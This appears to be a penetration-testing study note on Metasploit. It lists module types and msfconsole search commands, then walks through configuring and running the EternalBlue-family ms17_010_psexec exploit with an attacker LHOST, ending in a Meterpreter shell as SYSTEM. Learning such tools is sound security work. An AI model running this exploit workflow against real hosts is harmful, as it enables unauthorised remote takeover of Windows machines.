## Module Types
| **Type** | **Description** |
| ----------- | ----------------------------------------------------------------------------------------------- |
| `Auxiliary` | Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality. |
| `Encoders` | Ensure that payloads are intact to their destination. |
| `Exploits` | Defined as modules that exploit a vulnerability that will allow for the payload delivery. |
| `NOPs` | (No Operation code) Keep the payload sizes consistent across exploit attempts. |
| `Payloads` | Code runs remotely and calls back to the attacker machine to establish a connection (or shell). |
| `Plugins` | Additional scripts can be integrated within an assessment with `msfconsole` and coexist. |
| `Post` | Wide array of modules to gather information, pivot deeper, etc. |
## Searching for Modules
```bash
msf6 > help search #shows search options
msf6 > search eternal #shows all modules associated with string
msf6 > search eternal type:exploit #shows all exploit modules associated with string
msf6 > search type:exploit platform:windows cve:2021 rank:excellent microsoft #detailed search
```
## Selecting, Configuring, and Running a Module
```bash
msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 > use N #insert number for N based on search results
msf6 > info #shows infor for selected module
msf6 > options #shows configurable parameters for selected module
msf6 > set RHOSTS <target_ip>
msf6 > set LHOST <kali_host_ip>
msf6 > setg LHOST <kali_host_ip> #global setting
msf6 > exploit/run #excutes selected module
```
![[images/Pasted image 20251003193752.png]]
![[images/Pasted image 20251003193723.png]]
## Meterpreter
- Meterpreter is a payload that uses in-memory DLL injection to establish a communication channel between an attack box and a target
```bash
meterpreter> ? #shows available commands for meterpreter shell
meterpreter> shell #drop into system shelll
C:\Windows\system32> whoami #command issued to system shell
whoami
nt authority\system
```